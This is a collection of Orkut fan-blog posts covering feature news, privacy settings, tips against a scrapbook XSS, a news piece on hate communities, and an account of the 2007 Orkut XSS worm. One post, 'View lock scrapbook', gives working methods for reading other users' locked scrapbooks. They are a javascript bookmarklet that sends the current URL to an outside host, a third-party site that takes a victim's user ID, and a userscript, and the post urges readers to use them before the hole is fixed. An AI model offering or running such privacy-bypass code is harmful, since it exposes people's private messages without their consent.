Orkut Profile being added to Google Search

Some orkut profiles will appear in Google search results as an orkut OneBox. A OneBox is a summary of your orkut profile, including key details like your name, photo and location. A OneBox appears only when someone who is logged in to orkut performs a search on Google.com for their friends or friends of friends. Keep in mind that this project is still in its experimental stage, so for now, only a small percentage of orkut users will see the OneBox in their search results.

Wondering what a OneBox Is ??

On top of the organic results (and sometimes at the bottom), Google shows OneBox results for queries that can be answered instantly or when a direct link can be offered.

There are several kinds of OneBox results.Click Here to know more about OneBox Result

You'll have the same privacy settings for the OneBox as you do for your full orkut profile, so no information you've made private in orkut will appear in Google search results. Additionally, if you wish to opt-out of the orkut Onebox altogether, you can do so by following these steps:

• On the left sidebar of the orkut hompage, click settings.
• Click the privacy tab.
• Under orkut in Google search results, click the hide information bubble.
• Click save changes at the bottom of the page.

Note:
Orkut and the search team both don't have a way to change whose profiles will appear in Google search results as a OneBox.

Regards:-Orkut Underworld

How to be safe from Scrapbook XSS Bug

I have already posted many posts including incidents in which Scrapbook XSS Bug was used...

here are some posts :

1. XSS in Scrapbook
   
2. XSS Orkut worm

Many Orkut Users became the victim of these attacks..so Now i am posting to tell you how you can be safe from these XSS hacks

• Firefox Users :
  

Update Firefox to 2.0.0.11 or higher

The latest series of firefox comes with an inbuilt feature of httpOnly which encrypts your cookies so that the information in the cookie cannot be read. This may result to be a boon for orkut users.You can download the latest version of firefox from >>>HERE<<<

• Download FlashBlock
  

For firefox users i would highly recommend that they should Install Flashblock firefox extension!After Installing FlashBlock just restart your browser

Internet Explorer Users :

• Go to the Tools Menu -> Internet Options


• Click on the Security tab


• Click on Custom Level


• Disable Run ActiveX controls and plug-ins

Hope this Helps !!

Regards:-Orkut Underworld

Situation : Joined too Many Communities!

A cool trick found by ORKUT PLUS is to unjoin your communities.Many ppls have joined round about 999 or 900 communities ,which makes them to unjoin later. So a damn cool trick is here to make your work easy.

Solution: We currently do not have a refined software to unjoin selected communities. You can follow following tips to make your work easier.

• Make a note of the communities you would want to re-join.
• Use this software (Thanks Gautam) to Unjoin All Communities you presently have - Download
• Required - .NET 2.0 framework to run the software - Download
• Now, re-join your noted communities.
• That is all :o)

REGARDS:-ORKUT PLUS

Orkut Goes After Unethical Profiles - Threatens To Report To Law Authorities!

After the much highlighted XSS debacle, it looks as if orkut has finally decided to take care of unethical minds on orkut. They are now issuing warnings on their homepage.

To be exact, these lines are being displayed as a security caution:

Security caution: Please do not use your orkut account to impersonate or harass other users. Violations of the orkut terms of service will lead to the suspension of your account. For serious violations, we can and will share information with local law enforcement agencies in your country. Be safe and keep orkut beautiful.

On a positive note, this was very much required to curb impersonation issues and the fact that official warnings make the work much easier.

REGARDS:-ORKUT PLUS

Of the Latest Orkut Worm, Rodrigo Lacerda and 400,000 Members Joining One Community within 12 Hours of its Creation

NO WE ARE NOT JOKING !!!

Screenshot - WashingtonPost

A Quick introduction to the Post:

• Something was wrong on orkut
• Some members complained of joining a community which they did not do manually.
• Members were unable to un-join the community.
• Surprisingly, the community featured 400,000 members in 12 hours of it's creation

Note: The so called 'worm' was harmless, but it it raised serious questions on orkut security features.
How Did it all happen?

You read about our warning, an XSS in the scrapbook. Evil minds used this for unethical purposes, but one mind thought the other way. He used this flaw to create a history, turning orkut upside down and leaving them puzzled for sometime.

What Was in His Mind?

Rodrigo Narrates, August 8, 2006 he came to know about an XSS but at that point of time he didn't have perfect programming skills to exploit the hole. He says, at that time he wanted to hack as many communities and profiles as he could on orkut. The hole was fixed soon.

December 19, 2007 , he came across a similar XSS and this time he had proper programming skills to do what ever he wanted to. But his state of mind was a bit different this time. His attempt was not to hack or hurt anyone but wanted to show how destructive this can be if used for evil purposes. He created a fake community -Infectados pelo Vírus do Orkut which has hit the headlines everywhere.

SCREENSHOT OF NO OF MEMBERS

12 Hours, and the Community with 400,000 Members - How Did He Do It?

• Member Received a Scrap
• That scrap had an embed code.
• That code embed a JavaScript, which was decompressed twice.
• The JavaScript performed following functions:

-> It Automatically Joins a Member to a specific community

-> Member unknowingly sends scrap all to all his friends - with that code embed

-> Scrap is then deleted automatically.

-> So all his friends would do the same and thus, it was a fire spreading rapidly.

-> This came to a halt, when orkut finally fixed the XSS.

REGARDS:-ORKUT PLUS

Enable HTML in Communities

This greasemonkey script Enable HTML in communities was developed by Mr. Nobody.
A simple script to enable HTML in Orkut communities.




How to Use This Script ?

• Install Grease Monkey in case you don't have it - Click Here
• Install HTML IN COMMUNITIES Script

That is all :0)

Find Your Gmail Friends On Orkut

Orkut Recently released there new feature through which you can add your Gmail friends as Orkut friends.. :)

This is one of the most awaited feature of Orkut..Many other Social Networking Sites had this feature...They used this to invite more people to there site. Now Orkut have also introduced this great feature..All the Google Talk users would be loving his feature as they can now invite or add there Google Talk friends on Orkut.

Everyone Knows that finding a profile on Orkut is very difficult. This feature makes this task easier for Orkut users.

Orkut Officials say about it :

One of the nice things about Gmail is that it adds the names of the people you have been in touch with over the years as contacts in your address book. Wouldn't it be nice if you could automatically find those contacts on orkut? We've started rolling out a new feature to do just that. If you use a gmail address to log into orkut, finding your friends is now just a click away. The find friends button on the homepage, friends page or friends list page gets you started on importing contacts. Your gmail address is already filled in, and since you've already logged into orkut, we don't have to ask for your Gmail password once again. We'll show you the contacts who are already on orkut, and let you choose which ones to add as friends. For contacts who aren't on orkut yet, we make it easy to choose the ones you want to invite to orkut. You can even add a personal message to send with the invite. Soon, we'll be adding support to import your contacts from other email accounts.

Well i feel sorry for the people who don't use Gmail Login, or have a different login for Orkut as they would not be able to use this feature. This feature is only available for Gmail as Orkut do not import address book at this time.

Note : Gmail does import address Book.

so you can use gmail to import address bookNow all those People who have a Gmail email address would see the above find friends feature on there Homepage. If Not you can go here :http://www.orkut.com/FindFriends.aspx

Once you go to the page it would look like this :

Regards:-Orkut Underworld

'Orkut has become integral part of Indians lives'

Chennai (PTI): Google's social networking site , Orkut.com has become an integral part of Indians' lives, a top official of the company said on Friday.

"We are quite pleased with what we have seen with both the loyalty and usage of Orkut in India.It seems to have become a very central part of people's lives and we are very proud of the fact that people get value addition," Shailesh Rao, Managing Director, Google India told reporters on the sidelines of a management seminar here on Friday.

Rao said Google had launched several products in local languages in India."Today, on Orkut, the users can transliterate using an English keyboard into Hindi, can view Orkut content in multiple regional languages," he said.

The MD also said the company had a lot more work to do in India and "our time in India is much more ahead of us than behind us."

To a query if other social networking sites were beginning to eat away at Orkut's users, he said "In fact, we are quite pleased with how users are taking to all kinds of services on the internet including social networking. In India, what we require is more diversity, more services, more options, more experimentation, more innovation. So I think it is wonderful there are more platforms that Indians can use and experiment lots of things."

Rao said the company's Indian operations had the largest number of employees next only to its US operations.

He said India would be the focus country for the company to carry out product and service developments.

Regards:-Orkut Underworld

View lock scrapbook !!!

Again a new Vulnerability in Orkut Privacy ...

This Hack is made by Rodrigo Lecerdo

Note : Guys you would have to hurry up because this Hack would not last long enough. Orkut would soon take some steps to disable this Hack.

There are three Ways of Using this Hack.

Method # 1

Login To your Sandbox Account and then Just go straight to the Locked Album

Method # 2

You can also see the scrapbook by using JavascriptsNavigate to the scrapbook you want to see and then Run this script in the address bar :

javascript:document.location='http://rodlac.freetzi.com/ViewScraps.php?uid='+encodeURIComponent(location.href);void(0)

Wait for few seconds for scrapbook to load

Method # 3
Just go here :http://x13.110mb.com/scraps.php?uid=*****************and in place of ************* Enter The User Id of the person who's scrapbook you want to see...Use ID is the number at the end of your Profile link.

Method # 4
Use a userscript for the above javascript made by D3.This would be much more helpful as you would not have to run the script again. Firefox would automatically open Locked scrapbook for you.You would need Firefox for this. Then Install GreasemonkeyAfter that Install the View Locked Scrapbook Script

That's all

Regards:-Orkut Underworld

Hate Clubs Mushroom on Orkut

If you happen to hate Big B's smug face, beaming across from every other channel, or those tireless 'K's' from Ekta Kapoor's 'soap factory', you now have space to vent your emotions.


Hate communities or hate clubs are becoming increasingly popular on social networking Web sites like Google-owned Orkut.

On Orkut, the Ekta Kapoor hate club leads the pack with a membership of nearly 76,468 and counting. Followed by Himesh Reshamiya (of the nasal twang) with 33,137 members; Shah Rukh Khan with 11,179; Greg Chappell with 7,659; yes, Mahatma Gandhi with 6,647; General Musharraf with 1,362; and the Big B with 1,410.

Psychiatrist Sameer Parekh feels that such communities have become popular as they appeal to our hatred for certain things. Very true, but why would anybody hate Mahatma Gandhi and even have the audacity to start a hate group dedicated to him?

“People have certain amount of hatred, dislikes and complexities and they get a chance to express it on such communities. But, there are very few people who give importance to such things. They reinforce your point of view and you join them without giving much thought,” explained Parekh.

It is one thing to start a community to express common dislikes about regular things in life. Such groups even have a humorous tone. But, it’s another issue altogether when communities on the Internet hurt the sentiments of others.
Social networking sites are thus coming up with new methods to prevent the abuse of communities on the Web.

A Google spokesperson said,
“We take the abuse fo Orkut seriously and are constantly developing new tools to review inappropriate content on the site. Orkut users can report content to our reviewers by clicking the ‘report as bogus’ button. There are also tools for community owners to delete posts or topics, ban users and delete anonymous posts.”

“But, at the same time, we put a certain amount of trust in our users to notify us of violations. We have also introduced a priority reporting tool. It makes life easier for the police to contact us when they get concerns about content on Orkut,” the Google spokesperson added.

So, it is evident that measures ARE being taken to check the misuse of social networking sites such as Orkut, but regulating such communities is what still remains a problem. However, a group that came to my notice on Orkut entitled “We Hate Caste Feeling” is something acceptable in times like ours.

Regards:-Orkut Underworld

Delete All Photos From Your Orkut Album!

This is a very essential script for those who have a bulk images uploaded in their orkut album and now want upload fresh ones. This script will save lot of time as this will empty your album in no time.

How To Mass Delete Pics from My Album?

• Navigate to your album page
• Run this script in the address bar

javascript:alert("Mass Delete Photos from Album (by Lost Soul)");document.body.innerHTML+='<iframe name="ls" width="800" height="600"></iframe>';ls1=prompt("How many pics are there in your album?");i=ls1;function lostsoul(){i=i-1;deletePhoto(i);};void(setInterval(lostsoul,2000))

• Enter the number of pics in your album when you are prompted for.
• The Script will do the rest.
  

Regards:-Orkut plus

Awesome New Feature - Hide Your Scrapbook from Strangers!

With yet another nail in the coffin, orkut staff is now taking some serious steps to cut down job of unwanted elements who often love to disturb ladies on orkut. Not long back orkut introduced a feature which enabled members to choose with whom they wanted to share their private data and one always felt a very important feature was missing. Better late than never, they have made that feature live.

Hide Your Scrapbook From Strangers !!!

No official word from orkut, but this feature is very much accessible. You just need to navigate to the privacy settings page of you orkut account to set your preferences.

Regards:-Orkut plus

How to add more then 9 communities in related communities

Well guys you might have seen this on orkut that many communities are hacing more then nine communities as there related communities...

Here is a small trick to add more then 9 related communities.....


First go to the community you want to add related communities too...

See at the browser the link would be like :

http://www.orkut.com/Community.aspx?cmm=XXXXXXX

Change this link to :

http://www.orkut.com/CommunitySearch.aspx?cmm=XXXXXXX

now click Enter or press Go...This page would load :

Start searching and adding communities with this cool trick..

Regards:-Orkut Underworld

Orkut going to add Scrap Alert Feature

Orkut is growing better and better day by day..Now orkut says that it would be installing a new feature in few days called Scrap Alert...

With scrap alerts you can be on any orkut page and find out that you have received a scrap - that very minute. You could be browsing your friend's photos, and find out "hey! I just got a new scrap." Then you can click on the "Scrapbook" link to reply on the spot. This way you'll be free to explore all of orkut, comforted in the knowledge that when you have received a new scrap, you'll know about it that moment.

This Feature would be in our control means if we want to disable it we can do it from our settings page..

Orkut will be rolling this feature out over the new few days for all users

Happy Orkutting !!

Regards:-Orkut Underworld